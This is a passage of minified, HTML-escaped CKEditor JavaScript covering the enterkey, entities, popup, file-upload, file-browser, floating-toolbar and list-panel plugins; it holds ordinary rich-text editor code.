h.is(&quot;li&quot;)&amp;&amp;(a.breakParent(h),h=a.getNext(),b.moveToElementEditStart(h),a.move(a.getPrevious()));if(f||k)if(n(e))b.moveToElementEditStart(b.getTouchedStartNode());else{if(a){if(a.is(&quot;li&quot;)||!w.test(a.getName())&amp;&amp;!a.is(&quot;pre&quot;))d=a.clone()}else c&amp;&amp;(d=c.clone());d?l&amp;&amp;!d.is(&quot;li&quot;)&amp;&amp;d.renameNode(m):h&amp;&amp;h.is(&quot;li&quot;)?d=h:(d=g.createElement(m),a&amp;&amp;(t=a.getDirection())&amp;&amp;d.setAttribute(&quot;dir&quot;,t));if(g=q.elementPath)for(e=0,l=g.elements.length;e&lt;l;e++){m=g.elements[e];if(m.equals(g.block)||m.equals(g.blockLimit))break;
CKEDITOR.dtd.$removeEmpty[m.getName()]&amp;&amp;(m=m.clone(),d.moveChildren(m),d.append(m))}d.appendBogus();d.getParent()||b.insertNode(d);d.is(&quot;li&quot;)&amp;&amp;d.removeAttribute(&quot;value&quot;);!CKEDITOR.env.ie||!f||k&amp;&amp;a.getChildCount()||(b.moveToElementEditStart(k?a:d),b.select());b.moveToElementEditStart(f&amp;&amp;!k?c:d)}else c.is(&quot;li&quot;)&amp;&amp;(d=b.clone(),d.selectNodeContents(c),d=new CKEDITOR.dom.walker(d),d.evaluator=function(a){return!(B(a)||A(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.getName()in CKEDITOR.dtd.$inline&amp;&amp;!(a.getName()in
CKEDITOR.dtd.$empty))},(h=d.next())&amp;&amp;h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.is(&quot;ul&quot;,&quot;ol&quot;)&amp;&amp;(CKEDITOR.env.needsBrFiller?g.createElement(&quot;br&quot;):g.createText(&quot; &quot;)).insertBefore(h)),c&amp;&amp;b.moveToElementEditStart(c);b.select();b.scrollIntoView()}}},enterBr:function(a,e,b,l){if(b=b||y(a)){var n=b.document,g=b.checkEndOfBlock(),f=new CKEDITOR.dom.elementPath(a.getSelection().getStartElement()),k=f.block,p=k&amp;&amp;f.block.getName();l||&quot;li&quot;!=p?(!l&amp;&amp;g&amp;&amp;w.test(p)?(g=k.getDirection())?(n=n.createElement(&quot;div&quot;),n.setAttribute(&quot;dir&quot;,
g),n.insertAfter(k),b.setStart(n,0)):(n.createElement(&quot;br&quot;).insertAfter(k),CKEDITOR.env.gecko&amp;&amp;n.createText(&quot;&quot;).insertAfter(k),b.setStartAt(k.getNext(),CKEDITOR.env.ie?CKEDITOR.POSITION_BEFORE_START:CKEDITOR.POSITION_AFTER_START)):(a=&quot;pre&quot;==p&amp;&amp;CKEDITOR.env.ie&amp;&amp;8&gt;CKEDITOR.env.version?n.createText(&quot;\r&quot;):n.createElement(&quot;br&quot;),b.deleteContents(),b.insertNode(a),CKEDITOR.env.needsBrFiller?(n.createText(&quot;﻿&quot;).insertAfter(a),g&amp;&amp;(k||f.blockLimit).appendBogus(),a.getNext().$.nodeValue=&quot;&quot;,b.setStartAt(a.getNext(),
CKEDITOR.POSITION_AFTER_START)):b.setStartAt(a,CKEDITOR.POSITION_AFTER_END)),b.collapse(!0),b.select(),b.scrollIntoView()):r(a,e,b,l)}}};v=CKEDITOR.plugins.enterkey;u=v.enterBr;r=v.enterBlock;w=/^h[1-6]$/})();(function(){function k(a,f){var g={},c=[],e={nbsp:&quot; &quot;,shy:&quot;­&quot;,gt:&quot;\x3e&quot;,lt:&quot;\x3c&quot;,amp:&quot;\x26&quot;,apos:&quot;&#039;&quot;,quot:&#039;&quot;&#039;};a=a.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,function(a,b){var d=f?&quot;\x26&quot;+b+&quot;;&quot;:e[b];g[d]=f?e[b]:&quot;\x26&quot;+b+&quot;;&quot;;c.push(d);return&quot;&quot;});a=a.replace(/,$/,&quot;&quot;);if(!f&amp;&amp;a){a=a.split(&quot;,&quot;);var b=document.createElement(&quot;div&quot;),d;b.innerHTML=&quot;\x26&quot;+a.join(&quot;;\x26&quot;)+&quot;;&quot;;d=b.innerHTML;b=null;for(b=0;b&lt;d.length;b++){var h=d.charAt(b);g[h]=&quot;\x26&quot;+a[b]+&quot;;&quot;;c.push(h)}}g.regex=c.join(f?&quot;|&quot;:&quot;&quot;);return g}
CKEDITOR.plugins.add(&quot;entities&quot;,{afterInit:function(a){function f(b){return h[b]}function g(a){return&quot;force&quot;!=c.entities_processNumerical&amp;&amp;b[a]?b[a]:&quot;\x26#&quot;+a.charCodeAt(0)+&quot;;&quot;}var c=a.config;if(a=(a=a.dataProcessor)&amp;&amp;a.htmlFilter){var e=[];!1!==c.basicEntities&amp;&amp;e.push(&quot;nbsp,gt,lt,amp&quot;);c.entities&amp;&amp;(e.length&amp;&amp;e.push(&quot;quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,notin,ni,prod,sum,minus,lowast,radic,prop,infin,ang,and,or,cap,cup,int,there4,sim,cong,asymp,ne,equiv,le,ge,sub,sup,nsub,sube,supe,oplus,otimes,perp,sdot,lceil,rceil,lfloor,rfloor,lang,rang,loz,spades,clubs,hearts,diams,circ,tilde,ensp,emsp,thinsp,zwnj,zwj,lrm,rlm,ndash,mdash,lsquo,rsquo,sbquo,ldquo,rdquo,bdquo,dagger,Dagger,permil,lsaquo,rsaquo,euro&quot;),
c.entities_latin&amp;&amp;e.push(&quot;Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml&quot;),c.entities_greek&amp;&amp;e.push(&quot;Alpha,Beta,Gamma,Delta,Epsilon,Zeta,Eta,Theta,Iota,Kappa,Lambda,Mu,Nu,Xi,Omicron,Pi,Rho,Sigma,Tau,Upsilon,Phi,Chi,Psi,Omega,alpha,beta,gamma,delta,epsilon,zeta,eta,theta,iota,kappa,lambda,mu,nu,xi,omicron,pi,rho,sigmaf,sigma,tau,upsilon,phi,chi,psi,omega,thetasym,upsih,piv&quot;),
c.entities_additional&amp;&amp;e.push(c.entities_additional));var b=k(e.join(&quot;,&quot;)),d=b.regex?&quot;[&quot;+b.regex+&quot;]&quot;:&quot;a^&quot;;delete b.regex;c.entities&amp;&amp;c.entities_processNumerical&amp;&amp;(d=&quot;[^ -~]|&quot;+d);var d=new RegExp(d,&quot;g&quot;),h=k(&quot;nbsp,gt,lt,amp,shy&quot;,!0),l=new RegExp(h.regex,&quot;g&quot;);a.addRules({text:function(a){return a.replace(l,f).replace(d,g)}},{applyToAll:!0,excludeNestedEditable:!0})}}})})();CKEDITOR.config.basicEntities=!0;CKEDITOR.config.entities=!0;CKEDITOR.config.entities_latin=!0;CKEDITOR.config.entities_greek=!0;
CKEDITOR.config.entities_additional=&quot;#39&quot;;CKEDITOR.plugins.add(&quot;popup&quot;);
CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{popup:function(e,a,b,d){a=a||&quot;80%&quot;;b=b||&quot;70%&quot;;&quot;string&quot;==typeof a&amp;&amp;1&lt;a.length&amp;&amp;&quot;%&quot;==a.substr(a.length-1,1)&amp;&amp;(a=parseInt(window.screen.width*parseInt(a,10)/100,10));&quot;string&quot;==typeof b&amp;&amp;1&lt;b.length&amp;&amp;&quot;%&quot;==b.substr(b.length-1,1)&amp;&amp;(b=parseInt(window.screen.height*parseInt(b,10)/100,10));640&gt;a&amp;&amp;(a=640);420&gt;b&amp;&amp;(b=420);var f=parseInt((window.screen.height-b)/2,10),g=parseInt((window.screen.width-a)/2,10);d=(d||&quot;location\x3dno,menubar\x3dno,toolbar\x3dno,dependent\x3dyes,minimizable\x3dno,modal\x3dyes,alwaysRaised\x3dyes,resizable\x3dyes,scrollbars\x3dyes&quot;)+&quot;,width\x3d&quot;+
a+&quot;,height\x3d&quot;+b+&quot;,top\x3d&quot;+f+&quot;,left\x3d&quot;+g;var c=window.open(&quot;&quot;,null,d,!0);if(!c)return!1;try{-1==navigator.userAgent.toLowerCase().indexOf(&quot; chrome/&quot;)&amp;&amp;(c.moveTo(g,f),c.resizeTo(a,b)),c.focus(),c.location.href=e}catch(h){window.open(e,null,d,!0)}return!0}});(function(){function k(a){this.editor=a;this.loaders=[]}function l(a,c,b){var d=a.config.fileTools_defaultFileName;this.editor=a;this.lang=a.lang;&quot;string&quot;===typeof c?(this.data=c,this.file=n(this.data),this.loaded=this.total=this.file.size):(this.data=null,this.file=c,this.total=this.file.size,this.loaded=0);b?this.fileName=b:this.file.name?this.fileName=this.file.name:(a=this.file.type.split(&quot;/&quot;),d&amp;&amp;(a[0]=d),this.fileName=a.join(&quot;.&quot;));this.uploaded=0;this.responseData=this.uploadTotal=null;this.status=
&quot;created&quot;;this.abort=function(){this.changeStatus(&quot;abort&quot;)}}function n(a){var c=a.match(m)[1];a=a.replace(m,&quot;&quot;);a=atob(a);var b=[],d,f,g,e;for(d=0;d&lt;a.length;d+=512){f=a.slice(d,d+512);g=Array(f.length);for(e=0;e&lt;f.length;e++)g[e]=f.charCodeAt(e);f=new Uint8Array(g);b.push(f)}return new Blob(b,{type:c})}CKEDITOR.plugins.add(&quot;filetools&quot;,{beforeInit:function(a){a.uploadRepository=new k(a);a.on(&quot;fileUploadRequest&quot;,function(a){var b=a.data.fileLoader;b.xhr.open(&quot;POST&quot;,b.uploadUrl,!0);a.data.requestData.upload=
{file:b.file,name:b.fileName}},null,null,5);a.on(&quot;fileUploadRequest&quot;,function(c){var b=c.data.fileLoader,d=new FormData;c=c.data.requestData;var f=a.config.fileTools_requestHeaders,g,e;for(e in c){var h=c[e];&quot;object&quot;===typeof h&amp;&amp;h.file?d.append(e,h.file,h.name):d.append(e,h)}d.append(&quot;ckCsrfToken&quot;,CKEDITOR.tools.getCsrfToken());if(f)for(g in f)b.xhr.setRequestHeader(g,f[g]);b.xhr.send(d)},null,null,999);a.on(&quot;fileUploadResponse&quot;,function(a){var b=a.data.fileLoader,d=b.xhr,f=a.data;try{var g=JSON.parse(d.responseText);
g.error&amp;&amp;g.error.message&amp;&amp;(f.message=g.error.message);if(g.uploaded)for(var e in g)f[e]=g[e];else a.cancel()}catch(h){f.message=b.lang.filetools.responseError,CKEDITOR.warn(&quot;filetools-response-error&quot;,{responseText:d.responseText}),a.cancel()}},null,null,999)}});k.prototype={create:function(a,c,b){b=b||l;var d=this.loaders.length;a=new b(this.editor,a,c);a.id=d;this.loaders[d]=a;this.fire(&quot;instanceCreated&quot;,a);return a},isFinished:function(){for(var a=0;a&lt;this.loaders.length;++a)if(!this.loaders[a].isFinished())return!1;
return!0}};l.prototype={loadAndUpload:function(a,c){var b=this;this.once(&quot;loaded&quot;,function(d){d.cancel();b.once(&quot;update&quot;,function(a){a.cancel()},null,null,0);b.upload(a,c)},null,null,0);this.load()},load:function(){var a=this,c=this.reader=new FileReader;a.changeStatus(&quot;loading&quot;);this.abort=function(){a.reader.abort()};c.onabort=function(){a.changeStatus(&quot;abort&quot;)};c.onerror=function(){a.message=a.lang.filetools.loadError;a.changeStatus(&quot;error&quot;)};c.onprogress=function(b){a.loaded=b.loaded;a.update()};
c.onload=function(){a.loaded=a.total;a.data=c.result;a.changeStatus(&quot;loaded&quot;)};c.readAsDataURL(this.file)},upload:function(a,c){var b=c||{};a?(this.uploadUrl=a,this.xhr=new XMLHttpRequest,this.attachRequestListeners(),this.editor.fire(&quot;fileUploadRequest&quot;,{fileLoader:this,requestData:b})&amp;&amp;this.changeStatus(&quot;uploading&quot;)):(this.message=this.lang.filetools.noUrlError,this.changeStatus(&quot;error&quot;))},attachRequestListeners:function(){function a(){&quot;error&quot;!=b.status&amp;&amp;(b.message=b.lang.filetools.networkError,
b.changeStatus(&quot;error&quot;))}function c(){&quot;abort&quot;!=b.status&amp;&amp;b.changeStatus(&quot;abort&quot;)}var b=this,d=this.xhr;b.abort=function(){d.abort();c()};d.onerror=a;d.onabort=c;d.upload?(d.upload.onprogress=function(a){a.lengthComputable&amp;&amp;(b.uploadTotal||(b.uploadTotal=a.total),b.uploaded=a.loaded,b.update())},d.upload.onerror=a,d.upload.onabort=c):(b.uploadTotal=b.total,b.update());d.onload=function(){b.update();if(&quot;abort&quot;!=b.status)if(b.uploaded=b.uploadTotal,200&gt;d.status||299&lt;d.status)b.message=b.lang.filetools[&quot;httpError&quot;+
d.status],b.message||(b.message=b.lang.filetools.httpError.replace(&quot;%1&quot;,d.status)),b.changeStatus(&quot;error&quot;);else{for(var a={fileLoader:b},c=[&quot;message&quot;,&quot;fileName&quot;,&quot;url&quot;],e=b.editor.fire(&quot;fileUploadResponse&quot;,a),h=0;h&lt;c.length;h++){var k=c[h];&quot;string&quot;===typeof a[k]&amp;&amp;(b[k]=a[k])}b.responseData=a;delete b.responseData.fileLoader;!1===e?b.changeStatus(&quot;error&quot;):b.changeStatus(&quot;uploaded&quot;)}}},changeStatus:function(a){this.status=a;if(&quot;error&quot;==a||&quot;abort&quot;==a||&quot;loaded&quot;==a||&quot;uploaded&quot;==a)this.abort=function(){};
this.fire(a);this.update()},update:function(){this.fire(&quot;update&quot;)},isFinished:function(){return!!this.status.match(/^(?:loaded|uploaded|error|abort)$/)}};CKEDITOR.event.implementOn(k.prototype);CKEDITOR.event.implementOn(l.prototype);var m=/^data:(\S*?);base64,/;CKEDITOR.fileTools||(CKEDITOR.fileTools={});CKEDITOR.tools.extend(CKEDITOR.fileTools,{uploadRepository:k,fileLoader:l,getUploadUrl:function(a,c){var b=CKEDITOR.tools.capitalize;return c&amp;&amp;a[c+&quot;UploadUrl&quot;]?a[c+&quot;UploadUrl&quot;]:a.uploadUrl?a.uploadUrl:
c&amp;&amp;a[&quot;filebrowser&quot;+b(c,1)+&quot;UploadUrl&quot;]?a[&quot;filebrowser&quot;+b(c,1)+&quot;UploadUrl&quot;]+&quot;\x26responseType\x3djson&quot;:a.filebrowserUploadUrl?a.filebrowserUploadUrl+&quot;\x26responseType\x3djson&quot;:null},isTypeSupported:function(a,c){return!!a.type.match(c)},isFileUploadSupported:&quot;function&quot;===typeof FileReader&amp;&amp;&quot;function&quot;===typeof(new FileReader).readAsDataURL&amp;&amp;&quot;function&quot;===typeof FormData&amp;&amp;&quot;function&quot;===typeof(new FormData).append&amp;&amp;&quot;function&quot;===typeof XMLHttpRequest&amp;&amp;&quot;function&quot;===typeof Blob})})();(function(){function g(a,b){var d=[];if(b)for(var c in b)d.push(c+&quot;\x3d&quot;+encodeURIComponent(b[c]));else return a;return a+(-1!=a.indexOf(&quot;?&quot;)?&quot;\x26&quot;:&quot;?&quot;)+d.join(&quot;\x26&quot;)}function p(a){return!a.match(/command=QuickUpload/)||a.match(/(\?|&amp;)responseType=json/)?a:g(a,{responseType:&quot;json&quot;})}function k(a){a+=&quot;&quot;;return a.charAt(0).toUpperCase()+a.substr(1)}function q(){var a=this.getDialog(),b=a.getParentEditor();b._.filebrowserSe=this;var d=b.config[&quot;filebrowser&quot;+k(a.getName())+&quot;WindowWidth&quot;]||b.config.filebrowserWindowWidth||
&quot;80%&quot;,a=b.config[&quot;filebrowser&quot;+k(a.getName())+&quot;WindowHeight&quot;]||b.config.filebrowserWindowHeight||&quot;70%&quot;,c=this.filebrowser.params||{};c.CKEditor=b.name;c.CKEditorFuncNum=b._.filebrowserFn;c.langCode||(c.langCode=b.langCode);c=g(this.filebrowser.url,c);b.popup(c,d,a,b.config.filebrowserWindowFeatures||b.config.fileBrowserWindowFeatures)}function r(a){var b=new CKEDITOR.dom.element(a.$.form);b&amp;&amp;((a=b.$.elements.ckCsrfToken)?a=new CKEDITOR.dom.element(a):(a=new CKEDITOR.dom.element(&quot;input&quot;),a.setAttributes({name:&quot;ckCsrfToken&quot;,
type:&quot;hidden&quot;}),b.append(a)),a.setAttribute(&quot;value&quot;,CKEDITOR.tools.getCsrfToken()))}function t(){var a=this.getDialog();a.getParentEditor()._.filebrowserSe=this;return a.getContentElement(this[&quot;for&quot;][0],this[&quot;for&quot;][1]).getInputElement().$.value&amp;&amp;a.getContentElement(this[&quot;for&quot;][0],this[&quot;for&quot;][1]).getAction()?!0:!1}function u(a,b,d){var c=d.params||{};c.CKEditor=a.name;c.CKEditorFuncNum=a._.filebrowserFn;c.langCode||(c.langCode=a.langCode);b.action=g(d.url,c);b.filebrowser=d}function l(a,b,d,c){if(c&amp;&amp;
c.length)for(var e,g=c.length;g--;)if(e=c[g],&quot;hbox&quot;!=e.type&amp;&amp;&quot;vbox&quot;!=e.type&amp;&amp;&quot;fieldset&quot;!=e.type||l(a,b,d,e.children),e.filebrowser)if(&quot;string&quot;==typeof e.filebrowser&amp;&amp;(e.filebrowser={action:&quot;fileButton&quot;==e.type?&quot;QuickUpload&quot;:&quot;Browse&quot;,target:e.filebrowser}),&quot;Browse&quot;==e.filebrowser.action){var f=e.filebrowser.url;void 0===f&amp;&amp;(f=a.config[&quot;filebrowser&quot;+k(b)+&quot;BrowseUrl&quot;],void 0===f&amp;&amp;(f=a.config.filebrowserBrowseUrl));f&amp;&amp;(e.onClick=q,e.filebrowser.url=f,e.hidden=!1)}else if(&quot;QuickUpload&quot;==e.filebrowser.action&amp;&amp;
e[&quot;for&quot;]&amp;&amp;(f=e.filebrowser.url,void 0===f&amp;&amp;(f=a.config[&quot;filebrowser&quot;+k(b)+&quot;UploadUrl&quot;],void 0===f&amp;&amp;(f=a.config.filebrowserUploadUrl)),f)){var h=e.onClick;e.onClick=function(b){var c=b.sender,d=c.getDialog().getContentElement(this[&quot;for&quot;][0],this[&quot;for&quot;][1]).getInputElement(),e=CKEDITOR.fileTools&amp;&amp;CKEDITOR.fileTools.isFileUploadSupported;if(h&amp;&amp;!1===h.call(c,b))return!1;if(t.call(c,b)){if(&quot;form&quot;!==a.config.filebrowserUploadMethod&amp;&amp;e)return b=a.uploadRepository.create(d.$.files[0]),b.on(&quot;uploaded&quot;,function(a){var b=
a.sender.responseData;m.call(a.sender.editor,b.url,b.message)}),b.on(&quot;error&quot;,n.bind(this)),b.on(&quot;abort&quot;,n.bind(this)),b.loadAndUpload(p(f)),&quot;xhr&quot;;r(d);return!0}return!1};e.filebrowser.url=f;e.hidden=!1;u(a,d.getContents(e[&quot;for&quot;][0]).get(e[&quot;for&quot;][1]),e.filebrowser)}}function n(a){var b={};try{b=JSON.parse(a.sender.xhr.response)||{}}catch(d){}this.enable();alert(b.error?b.error.message:a.sender.message)}function h(a,b,d){if(-1!==d.indexOf(&quot;;&quot;)){d=d.split(&quot;;&quot;);for(var c=0;c&lt;d.length;c++)if(h(a,b,d[c]))return!0;
return!1}return(a=a.getContents(b).get(d).filebrowser)&amp;&amp;a.url}function m(a,b){var d=this._.filebrowserSe.getDialog(),c=this._.filebrowserSe[&quot;for&quot;],e=this._.filebrowserSe.filebrowser.onSelect;c&amp;&amp;d.getContentElement(c[0],c[1]).reset();if(&quot;function&quot;!=typeof b||!1!==b.call(this._.filebrowserSe))if(!e||!1!==e.call(this._.filebrowserSe,a,b))if(&quot;string&quot;==typeof b&amp;&amp;b&amp;&amp;alert(b),a&amp;&amp;(c=this._.filebrowserSe,d=c.getDialog(),c=c.filebrowser.target||null))if(c=c.split(&quot;:&quot;),e=d.getContentElement(c[0],c[1]))e.setValue(a),
d.selectPage(c[0])}CKEDITOR.plugins.add(&quot;filebrowser&quot;,{requires:&quot;popup,filetools&quot;,init:function(a){a._.filebrowserFn=CKEDITOR.tools.addFunction(m,a);a.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(this._.filebrowserFn)})}});CKEDITOR.on(&quot;dialogDefinition&quot;,function(a){if(a.editor.plugins.filebrowser)for(var b=a.data.definition,d,c=0;c&lt;b.contents.length;++c)if(d=b.contents[c])l(a.editor,a.data.name,b,d.elements),d.hidden&amp;&amp;d.filebrowser&amp;&amp;(d.hidden=!h(b,d.id,d.filebrowser))})})();(function(){function k(a){var l=a.config,p=a.fire(&quot;uiSpace&quot;,{space:&quot;top&quot;,html:&quot;&quot;}).html,t=function(){function f(a,c,e){b.setStyle(c,w(e));b.setStyle(&quot;position&quot;,a)}function e(a){var b=k.getDocumentPosition();switch(a){case &quot;top&quot;:f(&quot;absolute&quot;,&quot;top&quot;,b.y-q-r);break;case &quot;pin&quot;:f(&quot;fixed&quot;,&quot;top&quot;,x);break;case &quot;bottom&quot;:f(&quot;absolute&quot;,&quot;top&quot;,b.y+(c.height||c.bottom-c.top)+r)}m=a}var m,k,n,c,h,q,v,p=l.floatSpaceDockedOffsetX||0,r=l.floatSpaceDockedOffsetY||0,u=l.floatSpacePinnedOffsetX||0,x=l.floatSpacePinnedOffsetY||
0;return function(d){if(k=a.editable()){var f=d&amp;&amp;&quot;focus&quot;==d.name;f&amp;&amp;b.show();a.fire(&quot;floatingSpaceLayout&quot;,{show:f});b.removeStyle(&quot;left&quot;);b.removeStyle(&quot;right&quot;);n=b.getClientRect();c=k.getClientRect();h=g.getViewPaneSize();q=n.height;v=&quot;pageXOffset&quot;in g.$?g.$.pageXOffset:CKEDITOR.document.$.documentElement.scrollLeft;m?(q+r&lt;=c.top?e(&quot;top&quot;):q+r&gt;h.height-c.bottom?e(&quot;pin&quot;):e(&quot;bottom&quot;),d=h.width/2,d=l.floatSpacePreferRight?&quot;right&quot;:0&lt;c.left&amp;&amp;c.right&lt;h.width&amp;&amp;c.width&gt;n.width?&quot;rtl&quot;==l.contentsLangDirection?
&quot;right&quot;:&quot;left&quot;:d-c.left&gt;c.right-d?&quot;left&quot;:&quot;right&quot;,n.width&gt;h.width?(d=&quot;left&quot;,f=0):(f=&quot;left&quot;==d?0&lt;c.left?c.left:0:c.right&lt;h.width?h.width-c.right:0,f+n.width&gt;h.width&amp;&amp;(d=&quot;left&quot;==d?&quot;right&quot;:&quot;left&quot;,f=0)),b.setStyle(d,w((&quot;pin&quot;==m?u:p)+f+(&quot;pin&quot;==m?0:&quot;left&quot;==d?v:-v)))):(m=&quot;pin&quot;,e(&quot;pin&quot;),t(d))}}}();if(p){var k=new CKEDITOR.template(&#039;\x3cdiv id\x3d&quot;cke_{name}&quot; class\x3d&quot;cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_float cke_{langDir} &#039;+CKEDITOR.env.cssClass+&#039;&quot; dir\x3d&quot;{langDir}&quot; title\x3d&quot;&#039;+(CKEDITOR.env.gecko?
&quot; &quot;:&quot;&quot;)+&#039;&quot; lang\x3d&quot;{langCode}&quot; role\x3d&quot;application&quot; style\x3d&quot;{style}&quot;&#039;+(a.title?&#039; aria-labelledby\x3d&quot;cke_{name}_arialbl&quot;&#039;:&quot; &quot;)+&quot;\x3e&quot;+(a.title?&#039;\x3cspan id\x3d&quot;cke_{name}_arialbl&quot; class\x3d&quot;cke_voice_label&quot;\x3e{voiceLabel}\x3c/span\x3e&#039;:&quot; &quot;)+&#039;\x3cdiv class\x3d&quot;cke_inner&quot;\x3e\x3cdiv id\x3d&quot;{topId}&quot; class\x3d&quot;cke_top&quot; role\x3d&quot;presentation&quot;\x3e{content}\x3c/div\x3e\x3c/div\x3e\x3c/div\x3e&#039;),b=CKEDITOR.document.getBody().append(CKEDITOR.dom.element.createFromHtml(k.output({content:p,id:a.id,langDir:a.lang.dir,
langCode:a.langCode,name:a.name,style:&quot;display:none;z-index:&quot;+(l.baseFloatZIndex-1),topId:a.ui.spaceId(&quot;top&quot;),voiceLabel:a.title}))),u=CKEDITOR.tools.eventsBuffer(500,t),e=CKEDITOR.tools.eventsBuffer(100,t);b.unselectable();b.on(&quot;mousedown&quot;,function(a){a=a.data;a.getTarget().hasAscendant(&quot;a&quot;,1)||a.preventDefault()});a.on(&quot;focus&quot;,function(b){t(b);a.on(&quot;change&quot;,u.input);g.on(&quot;scroll&quot;,e.input);g.on(&quot;resize&quot;,e.input)});a.on(&quot;blur&quot;,function(){b.hide();a.removeListener(&quot;change&quot;,u.input);g.removeListener(&quot;scroll&quot;,
e.input);g.removeListener(&quot;resize&quot;,e.input)});a.on(&quot;destroy&quot;,function(){g.removeListener(&quot;scroll&quot;,e.input);g.removeListener(&quot;resize&quot;,e.input);b.clearCustomData();b.remove()});a.focusManager.hasFocus&amp;&amp;b.show();a.focusManager.add(b,1)}}var g=CKEDITOR.document.getWindow(),w=CKEDITOR.tools.cssLength;CKEDITOR.plugins.add(&quot;floatingspace&quot;,{init:function(a){a.on(&quot;loaded&quot;,function(){k(this)},null,null,20)}})})();CKEDITOR.plugins.add(&quot;listblock&quot;,{requires:&quot;panel&quot;,onLoad:function(){var f=CKEDITOR.addTemplate(&quot;panel-list&quot;,&#039;\x3cul role\x3d&quot;presentation&quot; class\x3d&quot;cke_panel_list&quot;\x3e{items}\x3c/ul\x3e&#039;),g=CKEDITOR.addTemplate(&quot;panel-list-item&quot;,&#039;\x3cli id\x3d&quot;{id}&quot; class\x3d&quot;cke_panel_listItem&quot; role\x3dpresentation\x3e\x3ca id\x3d&quot;{id}_option&quot; _cke_focus\x3d1 hidefocus\x3dtrue title\x3d&quot;{title}&quot; draggable\x3d&quot;false&quot; ondragstart\x3d&quot;return false;&quot; href\x3d&quot;javascript:void(\&#039;{val}\&#039;)&quot;  {onclick}\x3d&quot;CKEDITOR.tools.callFunction({clickFn},\&#039;{val}\&#039;); return false;&quot; role\x3d&quot;option&quot;\x3e{text}\x3c/a\x3e\x3c/li\x3e&#039;),
h=CKEDITOR.addTemplate(&quot;panel-list-group&quot;,&#039;\x3ch1 id\x3d&quot;{id}&quot; draggable\x3d&quot;false&quot; ondragstart\x3d&quot;return false;&quot; class\x3d&quot;cke_panel_grouptitle&quot; role\x3d&quot;presentation&quot; \x3e{label}\x3c/h1\x3e&#039;),k=/\&#039;/g;CKEDITOR.ui.panel.prototype.addListBlock=function(a,b){return this.addBlock(a,new CKEDITOR.ui.listBlock(this.getHolderElement(),b))};CKEDITOR.ui.listBlock=CKEDITOR.tools.createClass({base:CKEDITOR.ui.panel.block,$:function(a,b){b=b||{};var c=b.attributes||(b.attributes={});(this.multiSelect=!!b.multiSelect)&amp;&amp;
(c[&quot;aria-multiselectable&quot;]=!0);!c.role&amp;&amp;(c.role=&quot;listbox&quot;);this.base.apply(this,arguments);this.element.setAttribute(&quot;role&quot;,c.role);c=this.keys;c[40]=&quot;next&quot;;c[9]=&quot;next&quot;;c[38]=&quot;prev&quot;;c[CKEDITOR.SHIFT+9]=&quot;prev&quot;;c[32]=CKEDITOR.env.ie?&quot;mouseup&quot;:&quot;click&quot;;CKEDITOR.env.ie&amp;&amp;(c[13]=&quot;mouseup&quot;);this._.pendingHtml=[];this._.pendingList=[];this._.items={};this._.groups={}},_:{close:function(){if(this._.started){var a=f.output({items:this._.pendingList.join(&quot;&quot;)});this._.pendingList=[];this._.pendingHtml.push(a);
delete this._.started}},getClick:function(){this._.click||(this._.click=CKEDITOR.tools.addFunction(function(a){var b=this.toggle(a);if(this.onClick)this.onClick(a,b)},this));return this._.click}},proto:{add:function(a,b,c){var d=CKEDITOR.tools.getNextId();this._.started||(this._.started=1,this._.size=this._.size||0);this._.items[a]=d;var e;e=CKEDITOR.tools.htmlEncodeAttr(a).replace(k,&quot;\\&#039;&quot;);a={id:d,val:e,onclick:CKEDITOR.env.ie?&#039;onclick\x3d&quot;return false;&quot; onmouseup&#039;:&quot;onclick&quot;,clickFn:this._.getClick(),
title:CKEDITOR.tools.htmlEncodeAttr(c||a),text:b||a};this._.pendingList.push(g.output(a))},startGroup:function(a){this._.close();var b=CKEDITOR.tools.getNextId();this._.groups[a]=b;this._.pendingHtml.push(h.output({id:b,label:a}))},commit:function(){this._.close();this.element.appendHtml(this._.pendingHtml.join(&quot;&quot;));delete this._.size;this._.pendingHtml=[]},toggle:function(a){var b=this.isMarked(a);b?this.unmark(a):this.mark(a);return!b},hideGroup:function(a){var b=(a=this.element.getDocument().getById(this._.groups[a]))&amp;&amp;
a.getNext();a&amp;&amp;(a.setStyle(&quot;display&quot;,&quot;none&quot;),b&amp;&amp;&quot;ul&quot;==b.getName()&amp;&amp;b.setStyle(&quot;display&quot;,&quot;none&quot;))},hideItem:function(a){this.element.getDocument().getById(this._.items[a]).setStyle(&quot;display&quot;,&quot;none&quot;)},showAll:function(){var a=this._.items,b=this._.groups,c=this.element.getDocument(),d;for(d in a)c.getById(a[d]).setStyle(&quot;display&quot;,&quot;&quot;);for(var e in b)a=c.getById(b[e]),d=a.getNext(),a.setStyle(&quot;display&quot;,&quot;&quot;),d&amp;&amp;&quot;ul&quot;==d.getName()&amp;&amp;d.setStyle(&quot;display&quot;,&quot;&quot;)},mark:function(a){this.multiSelect||this.unmarkAll();
